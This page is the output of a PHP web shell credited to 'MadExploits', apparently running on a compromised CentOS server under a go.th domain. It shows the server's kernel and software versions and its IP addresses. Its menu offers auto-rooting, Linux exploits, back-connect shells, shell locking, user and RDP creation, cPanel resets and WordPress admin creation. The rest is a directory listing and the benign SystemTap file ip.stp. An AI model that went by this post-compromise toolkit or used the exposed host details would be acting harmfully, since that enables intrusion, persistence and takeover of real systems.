Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
arm64
[ DIR ]
drwxr-xr-x
i386
[ DIR ]
drwxr-xr-x
ia64
[ DIR ]
drwxr-xr-x
powerpc
[ DIR ]
drwxr-xr-x
s390
[ DIR ]
drwxr-xr-x
x86_64
[ DIR ]
drwxr-xr-x
atomic.stp
1.52
KB
-rw-r--r--
aux_syscalls.stp
139.14
KB
-rw-r--r--
context-caller.stp
3.07
KB
-rw-r--r--
context-envvar.stp
1.71
KB
-rw-r--r--
context-symbols.stp
11.98
KB
-rw-r--r--
context-unwind.stp
2.81
KB
-rw-r--r--
context.stp
17.76
KB
-rw-r--r--
context.stpm
125
B
-rw-r--r--
conversions-guru.stp
5.56
KB
-rw-r--r--
conversions.stp
10.92
KB
-rw-r--r--
ctime.stp
5.32
KB
-rw-r--r--
dentry.stp
9.79
KB
-rw-r--r--
dev.stp
1.79
KB
-rw-r--r--
endian.stp
602
B
-rw-r--r--
guru-delay.stp
1.2
KB
-rw-r--r--
guru-signal.stp
1.07
KB
-rw-r--r--
inet.stp
1.42
KB
-rw-r--r--
inet_sock.stp
1.31
KB
-rw-r--r--
ioblock.stp
12.55
KB
-rw-r--r--
ioscheduler.stp
11.74
KB
-rw-r--r--
ip.stp
5.23
KB
-rw-r--r--
ipmib-filter-default.stp
965
B
-rw-r--r--
ipmib.stp
12.55
KB
-rw-r--r--
irq.stp
5
KB
-rw-r--r--
json.stp
8.92
KB
-rw-r--r--
json.stpm
6.11
KB
-rw-r--r--
kprocess.stp
4.38
KB
-rw-r--r--
kretprobe.stp
2.1
KB
-rw-r--r--
linuxmib-filter-default.stp
876
B
-rw-r--r--
linuxmib.stp
3.38
KB
-rw-r--r--
loadavg.stp
1.87
KB
-rw-r--r--
logging.stp
2.08
KB
-rw-r--r--
memory.stp
17.77
KB
-rw-r--r--
nd_syscalls.stp
138.14
KB
-rw-r--r--
nd_syscalls2.stp
161.75
KB
-rw-r--r--
netfilter.stp
31.56
KB
-rw-r--r--
networking.stp
7.17
KB
-rw-r--r--
nfs.stp
37.86
KB
-rw-r--r--
nfs_proc.stp
55.3
KB
-rw-r--r--
nfs_proc.stpm
1.18
KB
-rw-r--r--
nfsd.stp
39.97
KB
-rw-r--r--
nfsderrno.stp
11.7
KB
-rw-r--r--
panic.stp
1.07
KB
-rw-r--r--
perf.stp
4.5
KB
-rw-r--r--
proc_mem.stp
11.49
KB
-rw-r--r--
pstrace.stp
773
B
-rw-r--r--
rcu.stp
917
B
-rw-r--r--
rlimit.stp
1.35
KB
-rw-r--r--
rpc.stp
37.94
KB
-rw-r--r--
scheduler.stp
11.33
KB
-rw-r--r--
scsi.stp
9.46
KB
-rw-r--r--
signal.stp
28.35
KB
-rw-r--r--
socket.stp
33.41
KB
-rw-r--r--
syscalls.stp
136.01
KB
-rw-r--r--
syscalls.stpm
11.28
KB
-rw-r--r--
syscalls2.stp
158.1
KB
-rw-r--r--
syscalls_cfg_trunc.stp
111
B
-rw-r--r--
target_set.stp
1.71
KB
-rw-r--r--
task.stp
19.07
KB
-rw-r--r--
task.stpm
157
B
-rw-r--r--
task_ancestry.stp
1.57
KB
-rw-r--r--
task_time.stp
7.45
KB
-rw-r--r--
tcp.stp
21.98
KB
-rw-r--r--
tcpmib-filter-default.stp
885
B
-rw-r--r--
tcpmib.stp
10.29
KB
-rw-r--r--
timestamp.stp
1.72
KB
-rw-r--r--
timestamp_gtod.stp
1.59
KB
-rw-r--r--
timestamp_monotonic.stp
5.12
KB
-rw-r--r--
tty.stp
7.15
KB
-rw-r--r--
tzinfo.stp
803
B
-rw-r--r--
ucontext-symbols.stp
8.62
KB
-rw-r--r--
ucontext-unwind.stp
3.64
KB
-rw-r--r--
ucontext.stp
2.18
KB
-rw-r--r--
udp.stp
5.73
KB
-rw-r--r--
utrace.stp
1.33
KB
-rw-r--r--
vfs.stp
26.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ip.stp
// IP tapset // // Copyright (C) 2009, IBM Inc. // Copyright (C) 2010, 2014 Red Hat Inc. // // Author : Breno Leitao <leitao@linux.vnet.ibm.com> // // This file is free software. You can redistribute it and/or modify it under // the terms of the GNU General Public License (GPL), version 2. // // Based on previous work done by Arnaldo Carvalho de Melo <acme@redhat.com> %{ #include <linux/skbuff.h> #include <linux/socket.h> // For AF_INET & AF_INET6 #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) #include <linux/types.h> #include <linux/in6.h> #endif /* CONFIG_IPV6 || CONFIG_IPV6_MODULE */ %} /** * sfunction format_ipaddr - Returns a string representation for an IP address * * @addr: the IP address * @family: the IP address family (either AF_INET or AF_INET6) */ function format_ipaddr:string (addr:long, family:long) %{ /* pure */ if (STAP_ARG_family == AF_INET) { __be32 ip = (__be32)STAP_ARG_addr; #ifndef NIPQUAD_FMT // kver >= 2.6.36 snprintf(STAP_RETVALUE, MAXSTRINGLEN, "%pI4", &ip); #else snprintf(STAP_RETVALUE, MAXSTRINGLEN, NIPQUAD_FMT, NIPQUAD(ip)); #endif } #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) else if (STAP_ARG_family == AF_INET6) { struct in6_addr *ipv6 = (struct in6_addr *)(uintptr_t)STAP_ARG_addr; // We need to derefence the memory safely from the // address passed to us that contains the IPv6 address. // However, kderef()/kread() only handle data with a // size of 1, 2, 4, or 8. So, we'll use // kderef_buffer() which goes byte by byte. kderef_buffer(NULL, ipv6, sizeof(struct in6_addr)); #ifndef NIP6_FMT // kver >= 2.6.36 snprintf(STAP_RETVALUE, MAXSTRINGLEN, "%pI6", ipv6); #else snprintf(STAP_RETVALUE, MAXSTRINGLEN, NIP6_FMT, NIP6(*ipv6)); #endif } #endif /* CONFIG_IPV6 || CONFIG_IPV6_MODULE */ else strncpy(STAP_RETVALUE, "*unknown address family*", MAXSTRINGLEN); #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) CATCH_DEREF_FAULT(); #endif /* CONFIG_IPV6 || CONFIG_IPV6_MODULE */ %} /** * sfunction ip_ntop - Returns a string representation for an IPv4 address * * @addr: the IPv4 address represented as an integer */ function ip_ntop:string (addr:long) { return format_ipaddr(addr, %{ /* pure */ /* unprivileged */ AF_INET %}) } /* * Return the source IP address for a given sock. * * Note that the probes that use this function typically get a 'struct * sock' pointer, not a 'struct inet_sock' pointer. This is expected. * To use a 'struct sock' pointer, you typically call inet_sk() on the * pointer, which just returns the pointer (since the 1st member of * 'struct inet_sock' is a 'struct sock'). */ function __ip_sock_saddr:long (sock:long) { family = @cast(sock, "inet_sock", "kernel<net/ip.h>")->sk->__sk_common->skc_family if (family == %{ /* pure */ /* unprivileged */ AF_INET %}) { return @choose_defined(@cast(sock, "inet_sock")->inet_saddr, # kernel >= 2.6.33 @choose_defined(@cast(sock, "inet_sock")->saddr, # kernel >= 2.6.11 @cast(sock, "inet_sock", "kernel<net/ip.h>")->inet->saddr)) } %( CONFIG_IPV6 == "[ym]" %? else if (family == %{ /* pure */ /* unprivileged */ AF_INET6 %}) { return (&@cast(sock, "inet_sock", "kernel<net/ip.h>")->pinet6->saddr) } %) return 0 } /* return the destination IP address for a given sock */ function __ip_sock_daddr:long (sock:long) { family = @cast(sock, "inet_sock", "kernel<net/ip.h>")->sk->__sk_common->skc_family if (family == %{ /* pure */ /* unprivileged */ AF_INET %}) { return @choose_defined(@cast(sock, "inet_sock")->sk->__sk_common->skc_daddr, # kernel >= 2.6.38 @choose_defined(@cast(sock, "inet_sock")->inet_daddr, # kernel >= 2.6.33 @choose_defined(@cast(sock, "inet_sock")->daddr, # kernel >= 2.6.11 @cast(sock, "inet_sock", "kernel<net/ip.h>")->inet->daddr))) } %( CONFIG_IPV6 == "[ym]" %? else if (family == %{ /* pure */ /* unprivileged */ AF_INET6 %}) { return @choose_defined(&@cast(sock, "inet_sock", "kernel<net/ip.h>")->sk->__sk_common->skc_v6_daddr, &@cast(sock, "inet_sock", "kernel<net/ip.h>")->pinet6->daddr) } %) return 0 } /* return the IP address family for a given sock */ function __ip_sock_family:long (sock:long) { return (@cast(sock, "inet_sock", "kernel<net/ip.h>")->sk->__sk_common->skc_family) } /* Get the IP header from a sk_buff struct */ function __get_skb_iphdr:long(skb:long) %( kernel_v < "2.6.21" %? { iphdr = @cast(skb, "sk_buff", "kernel<linux/skbuff.h>")->nh->raw return iphdr } %: %{ /* pure */ struct sk_buff *skb; skb = (struct sk_buff *)(long)STAP_ARG_skb; /* as done by skb_network_header() */ #ifdef NET_SKBUFF_DATA_USES_OFFSET STAP_RETVALUE = (long)(kread(&(skb->head)) + kread(&(skb->network_header))); #else STAP_RETVALUE = (long)kread(&(skb->network_header)); #endif CATCH_DEREF_FAULT(); %} %) /* return the source next layer protocol for a given sk_buff structure */ function __ip_skb_proto:long (iphdr) { return @cast(iphdr, "iphdr", "kernel<linux/ip.h>")->protocol } /* return the source IP address for a given sk_buff structure */ function __ip_skb_saddr:long (iphdr) { return @cast(iphdr, "iphdr", "kernel<linux/ip.h>")->saddr } /* return the destination IP address for a given skb */ function __ip_skb_daddr:long (iphdr) { return @cast(iphdr, "iphdr", "kernel<linux/ip.h>")->daddr }
Close